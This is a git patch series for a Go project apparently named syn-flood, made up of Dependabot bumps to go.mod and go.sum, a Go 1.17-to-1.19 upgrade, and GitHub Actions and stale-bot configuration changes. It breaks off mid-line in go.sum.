From c6963e80d835f01de8cb04845b872db26ddd1004 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Jun 2022 17:22:52 +0000 Subject: [PATCH 01/22] Bump github.com/spf13/cobra from 1.4.0 to 1.5.0 Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.4.0 to 1.5.0. - [Release notes](https://github.com/spf13/cobra/releases) - [Commits](https://github.com/spf13/cobra/compare/v1.4.0...v1.5.0) --- updated-dependencies: - dependency-name: github.com/spf13/cobra dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index 50ec50b..47e344d 100644 --- a/go.mod +++ b/go.mod @@ -6,7 +6,7 @@ require ( github.com/dimiro1/banner v1.1.0 github.com/google/gopacket v1.1.19 github.com/schollz/progressbar/v3 v3.8.6 - github.com/spf13/cobra v1.4.0 + github.com/spf13/cobra v1.5.0 github.com/stretchr/testify v1.7.3 go.uber.org/automaxprocs v1.5.1 golang.org/x/net v0.0.0-20220513224357-95641704303c diff --git a/go.sum b/go.sum index 368a804..852996e 100644 --- a/go.sum +++ b/go.sum @@ -1,7 +1,7 @@ github.com/common-nighthawk/go-figure v0.0.0-20200609044655-c4b36f998cf2/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ= github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= -github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= @@ -37,8 +37,8 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/schollz/progressbar/v3 v3.8.6 h1:QruMUdzZ1TbEP++S1m73OqRJk20ON11m6Wqv4EoGg8c= github.com/schollz/progressbar/v3 v3.8.6/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= -github.com/spf13/cobra v1.4.0 h1:y+wJpx64xcgO1V+RcnwW0LEHxTKRi2ZDPSBjWnrg88Q= -github.com/spf13/cobra v1.4.0/go.mod h1:Wo4iy3BUC+X2Fybo0PDqwJIv3dNRiZLHQymsfxlB84g= +github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU= +github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= From f4e45049e20328d20ea280ba61a77de9305222cb Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Jun 2022 17:25:35 +0000 Subject: [PATCH 02/22] Bump github.com/stretchr/testify from 1.7.3 to 1.7.5 Bumps [github.com/stretchr/testify](https://github.com/stretchr/testify) from 1.7.3 to 1.7.5. - [Release notes](https://github.com/stretchr/testify/releases) - [Commits](https://github.com/stretchr/testify/compare/v1.7.3...v1.7.5) --- updated-dependencies: - dependency-name: github.com/stretchr/testify dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 47e344d..ee74664 100644 --- a/go.mod +++ b/go.mod @@ -7,7 +7,7 @@ require ( github.com/google/gopacket v1.1.19 github.com/schollz/progressbar/v3 v3.8.6 github.com/spf13/cobra v1.5.0 - github.com/stretchr/testify v1.7.3 + github.com/stretchr/testify v1.7.5 go.uber.org/automaxprocs v1.5.1 golang.org/x/net v0.0.0-20220513224357-95641704303c ) diff --git a/go.sum b/go.sum index 852996e..6ab3d3c 100644 --- a/go.sum +++ b/go.sum @@ -46,8 +46,8 @@ github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSS github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.3 h1:dAm0YRdRQlWojc3CrCRgPBzG5f941d0zvAKu7qY4e+I= -github.com/stretchr/testify v1.7.3/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.7.5 h1:s5PTfem8p8EbKQOctVV53k6jCJt3UX4IEJzwh+C324Q= +github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= go.uber.org/automaxprocs v1.5.1 h1:e1YG66Lrk73dn4qhg8WFSvhF0JuFQF0ERIp4rpuV8Qk= go.uber.org/automaxprocs v1.5.1/go.mod h1:BF4eumQw0P9GtnuxxovUd06vwm1o18oMzFtK66vU6XU= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= From 57140cdd9ec74e45bf4f24589fc5179e09ba0069 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 4 Jul 2022 17:28:43 +0000 Subject: [PATCH 03/22] Bump github.com/stretchr/testify from 1.7.5 to 1.8.0 Bumps [github.com/stretchr/testify](https://github.com/stretchr/testify) from 1.7.5 to 1.8.0. - [Release notes](https://github.com/stretchr/testify/releases) - [Commits](https://github.com/stretchr/testify/compare/v1.7.5...v1.8.0) --- updated-dependencies: - dependency-name: github.com/stretchr/testify dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index ee74664..f867c97 100644 --- a/go.mod +++ b/go.mod @@ -7,7 +7,7 @@ require ( github.com/google/gopacket v1.1.19 github.com/schollz/progressbar/v3 v3.8.6 github.com/spf13/cobra v1.5.0 - github.com/stretchr/testify v1.7.5 + github.com/stretchr/testify v1.8.0 go.uber.org/automaxprocs v1.5.1 golang.org/x/net v0.0.0-20220513224357-95641704303c ) diff --git a/go.sum b/go.sum index 6ab3d3c..3cea066 100644 --- a/go.sum +++ b/go.sum @@ -46,8 +46,8 @@ github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSS github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.5 h1:s5PTfem8p8EbKQOctVV53k6jCJt3UX4IEJzwh+C324Q= -github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= go.uber.org/automaxprocs v1.5.1 h1:e1YG66Lrk73dn4qhg8WFSvhF0JuFQF0ERIp4rpuV8Qk= go.uber.org/automaxprocs v1.5.1/go.mod h1:BF4eumQw0P9GtnuxxovUd06vwm1o18oMzFtK66vU6XU= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= From a4d4db02ceb484e906456208afb6ea466883ecf0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 25 Jul 2022 17:16:00 +0000 Subject: [PATCH 04/22] Bump github.com/schollz/progressbar/v3 from 3.8.6 to 3.8.7 Bumps [github.com/schollz/progressbar/v3](https://github.com/schollz/progressbar) from 3.8.6 to 3.8.7. - [Release notes](https://github.com/schollz/progressbar/releases) - [Commits](https://github.com/schollz/progressbar/compare/v3.8.6...v3.8.7) --- updated-dependencies: - dependency-name: github.com/schollz/progressbar/v3 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index f867c97..63e5a21 100644 --- a/go.mod +++ b/go.mod @@ -5,7 +5,7 @@ go 1.17 require ( github.com/dimiro1/banner v1.1.0 github.com/google/gopacket v1.1.19 - github.com/schollz/progressbar/v3 v3.8.6 + github.com/schollz/progressbar/v3 v3.8.7 github.com/spf13/cobra v1.5.0 github.com/stretchr/testify v1.8.0 go.uber.org/automaxprocs v1.5.1 diff --git a/go.sum b/go.sum index 3cea066..b78cc2a 100644 --- a/go.sum +++ b/go.sum @@ -35,8 +35,8 @@ github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/schollz/progressbar/v3 v3.8.6 h1:QruMUdzZ1TbEP++S1m73OqRJk20ON11m6Wqv4EoGg8c= -github.com/schollz/progressbar/v3 v3.8.6/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= +github.com/schollz/progressbar/v3 v3.8.7 h1:rtje4lnXVD1Dy/RtPpGd2ijLCmQ7Su3G2ia8dJcRKIo= +github.com/schollz/progressbar/v3 v3.8.7/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU= github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= From 65b4f015bd3ef6fad214cb74b85e944654aa345c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 1 Aug 2022 17:31:46 +0000 Subject: [PATCH 05/22] Bump github.com/schollz/progressbar/v3 from 3.8.7 to 3.9.0 Bumps [github.com/schollz/progressbar/v3](https://github.com/schollz/progressbar) from 3.8.7 to 3.9.0. - [Release notes](https://github.com/schollz/progressbar/releases) - [Commits](https://github.com/schollz/progressbar/compare/v3.8.7...v3.9.0) --- updated-dependencies: - dependency-name: github.com/schollz/progressbar/v3 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 63e5a21..6e62dc8 100644 --- a/go.mod +++ b/go.mod @@ -5,7 +5,7 @@ go 1.17 require ( github.com/dimiro1/banner v1.1.0 github.com/google/gopacket v1.1.19 - github.com/schollz/progressbar/v3 v3.8.7 + github.com/schollz/progressbar/v3 v3.9.0 github.com/spf13/cobra v1.5.0 github.com/stretchr/testify v1.8.0 go.uber.org/automaxprocs v1.5.1 diff --git a/go.sum b/go.sum index b78cc2a..7bee672 100644 --- a/go.sum +++ b/go.sum @@ -35,8 +35,8 @@ github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/schollz/progressbar/v3 v3.8.7 h1:rtje4lnXVD1Dy/RtPpGd2ijLCmQ7Su3G2ia8dJcRKIo= -github.com/schollz/progressbar/v3 v3.8.7/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= +github.com/schollz/progressbar/v3 v3.9.0 h1:k9SRNQ8KZyibz1UZOaKxnkUE3iGtmGSDt1YY9KlCYQk= +github.com/schollz/progressbar/v3 v3.9.0/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU= github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= From 11890a47a79776dc934409c8ccc4e897ecf08312 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Tue, 30 Aug 2022 20:08:45 +0300 Subject: [PATCH 06/22] chore: bump golang version --- .github/dependabot.yml | 19 ++++++++------ .github/stale.yml | 49 ------------------------------------- .github/workflows/pr.yml | 12 ++++----- .github/workflows/push.yml | 14 +++++------ .github/workflows/stale.yml | 34 +++++++++++++++++++++++++ go.mod | 16 ++++++------ go.sum | 35 ++++++++++++-------------- 7 files changed, 82 insertions(+), 97 deletions(-) delete mode 100644 .github/stale.yml create mode 100644 .github/workflows/stale.yml diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 2d9450b..42ee63f 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -1,14 +1,19 @@ -# To get started with Dependabot version updates, you'll need to specify which -# package ecosystems to update and where the package manifests are located. -# Please see the documentation for all configuration options: -# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates - +--- version: 2 updates: - - package-ecosystem: "gomod" # See documentation for possible values - directory: "/" # Location of package manifests + - package-ecosystem: "gomod" + directory: "/" schedule: interval: "weekly" target-branch: "devel" labels: - "dependabot" + - "gomod" + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + target-branch: "devel" + labels: + - "dependabot" + - "github-actions" diff --git a/.github/stale.yml b/.github/stale.yml deleted file mode 100644 index eac6266..0000000 --- a/.github/stale.yml +++ /dev/null @@ -1,49 +0,0 @@ -# Configuration for probot-stale - https://github.com/probot/stale - -# Number of days of inactivity before an Issue or Pull Request becomes stale -daysUntilStale: 90 - -# Number of days of inactivity before an Issue or Pull Request with the stale label is closed. -# Set to false to disable. If disabled, issues still need to be closed manually, but will remain marked as stale. -daysUntilClose: 30 - -# Only issues or pull requests with all of these labels are check if stale. Defaults to `[]` (disabled) -onlyLabels: [] - -# Issues or Pull Requests with these labels will never be considered stale. Set to `[]` to disable -exemptLabels: - - pinned - - security - - planned - -# Set to true to ignore issues in a project (defaults to false) -exemptProjects: false - -# Set to true to ignore issues in a milestone (defaults to false) -exemptMilestones: false - -# Set to true to ignore issues with an assignee (defaults to false) -exemptAssignees: false - -# Label to use when marking as stale -staleLabel: stale - -# Limit the number of actions per hour, from 1-30. Default is 30 -limitPerRun: 30 - -pulls: - markComment: |- - This pull request has been marked 'stale' due to lack of recent activity. If there is no further activity, the PR will be closed in another 30 days. Thank you for your contribution! - Please read [this blog post](https://www.jeffgeerling.com/blog/2020/enabling-stale-issue-bot-on-my-github-repositories) to see the reasons why I mark pull requests as stale. - unmarkComment: >- - This pull request is no longer marked for closure. - closeComment: >- - This pull request has been closed due to inactivity. If you feel this is in error, please reopen the pull request or file a new PR with the relevant details. -issues: - markComment: |- - This issue has been marked 'stale' due to lack of recent activity. If there is no further activity, the issue will be closed in another 30 days. Thank you for your contribution! - Please read [this blog post](https://www.jeffgeerling.com/blog/2020/enabling-stale-issue-bot-on-my-github-repositories) to see the reasons why I mark issues as stale. - unmarkComment: >- - This issue is no longer marked for closure. - closeComment: >- - This issue has been closed due to inactivity. If you feel this is in error, please reopen the issue or file a new issue with the relevant details. \ No newline at end of file diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 64341ce..f6560a3 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -12,7 +12,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: golangci-lint uses: golangci/golangci-lint-action@v3 with: @@ -27,7 +27,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Vet run: make vet @@ -39,7 +39,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Run Ineffassign run: make ineffassign @@ -55,7 +55,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Test run: make test @@ -86,7 +86,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Coverage Test run: make coverage - name: SonarCloud Scan @@ -109,7 +109,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Checkout code uses: actions/checkout@v3 - name: Test diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index ae49cf4..ec3540c 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -13,7 +13,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: golangci-lint uses: golangci/golangci-lint-action@v3 with: @@ -28,7 +28,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Vet run: make vet @@ -40,7 +40,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Run Ineffassign run: make ineffassign @@ -54,7 +54,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Checkout code uses: actions/checkout@v3 - name: Test @@ -97,7 +97,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Coverage Test run: make coverage - name: SonarCloud Scan @@ -125,7 +125,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Checkout code uses: actions/checkout@v3 - name: Test @@ -175,7 +175,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.17.x + go-version: 1.19.x - name: Run GoReleaser uses: goreleaser/goreleaser-action@v2 with: diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000..387c63c --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,34 @@ +--- +name: Mark stale issues and pull requests + +on: + schedule: + - cron: "0 0 * * 0" + +jobs: + stale: + runs-on: ubuntu-latest + steps: + - uses: actions/stale@v5 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + stale-issue-message: "This bot triages issues and PRs according to the following rules: + - After 60d of inactivity, lifecycle/stale is applied. + - After 30d of inactivity since lifecycle/stale was applied, lifecycle/rotten is applied and the issue is closed. + You can: + - Make a comment to remove the stale label and show your support. The 60 days reset. + - If an issue has lifecycle/rotten and is closed, comment and ask maintainers if they'd be interseted in reopening" + stale-pr-message: "This bot triages issues and PRs according to the following rules: + - After 60d of inactivity, lifecycle/stale is applied. + - After 30d of inactivity since lifecycle/stale was applied, lifecycle/rotten is applied and the PR is closed. + You can: + - Make a comment to remove the stale label and show your support. The 60 days reset. + - If a PR has lifecycle/rotten and is closed, comment and ask maintainers if they'd be interseted in reopening." + days-before-stale: 60 + days-before-close: 30 + stale-issue-label: 'lifecycle/stale' + stale-pr-label: 'lifecycle/stale' + exempt-issue-label: 'lifecycle/frozen' + exempt-pr-label: 'lifecycle/frozen' + close-issue-label: 'lifecycle/rotten' + close-pr-label: 'lifecycle/rotten' diff --git a/go.mod b/go.mod index 6e62dc8..a846fce 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module github.com/bilalcaliskan/syn-flood -go 1.17 +go 1.19 require ( github.com/dimiro1/banner v1.1.0 @@ -9,22 +9,22 @@ require ( github.com/spf13/cobra v1.5.0 github.com/stretchr/testify v1.8.0 go.uber.org/automaxprocs v1.5.1 - golang.org/x/net v0.0.0-20220513224357-95641704303c + golang.org/x/net v0.0.0-20220826154423-83b083e8dc8b ) require ( github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect github.com/davecgh/go-spew v1.1.1 // indirect - github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect github.com/kr/text v0.2.0 // indirect - github.com/mattn/go-isatty v0.0.14 // indirect + github.com/mattn/go-isatty v0.0.16 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/rivo/uniseg v0.2.0 // indirect + github.com/rivo/uniseg v0.3.4 // indirect github.com/spf13/pflag v1.0.5 // indirect - golang.org/x/crypto v0.0.0-20220513210258-46612604a0f9 // indirect - golang.org/x/sys v0.0.0-20220513210249-45d2b4557a2a // indirect - golang.org/x/term v0.0.0-20220411215600-e5f449aeb171 // indirect + golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 // indirect + golang.org/x/sys v0.0.0-20220829200755-d48e67d00261 // indirect + golang.org/x/term v0.0.0-20220722155259-a9ba230a4035 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/go.sum b/go.sum index 7bee672..66891a4 100644 --- a/go.sum +++ b/go.sum @@ -10,20 +10,19 @@ github.com/dimiro1/banner v1.1.0 h1:TSfy+FsPIIGLzaMPOt52KrEed/omwFO1P15VA8PMUh0= github.com/dimiro1/banner v1.1.0/go.mod h1:tbL318TJiUaHxOUNN+jnlvFSgsh/RX7iJaQrGgOiTco= github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= -github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= -github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= @@ -31,9 +30,9 @@ github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g= -github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U= -github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.3.4 h1:3Z3Eu6FGHZWSfNKJTOUiPatWwfc7DzJRU04jFUqJODw= +github.com/rivo/uniseg v0.3.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/schollz/progressbar/v3 v3.9.0 h1:k9SRNQ8KZyibz1UZOaKxnkUE3iGtmGSDt1YY9KlCYQk= github.com/schollz/progressbar/v3 v3.9.0/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= @@ -44,7 +43,6 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.7.0/go.mod 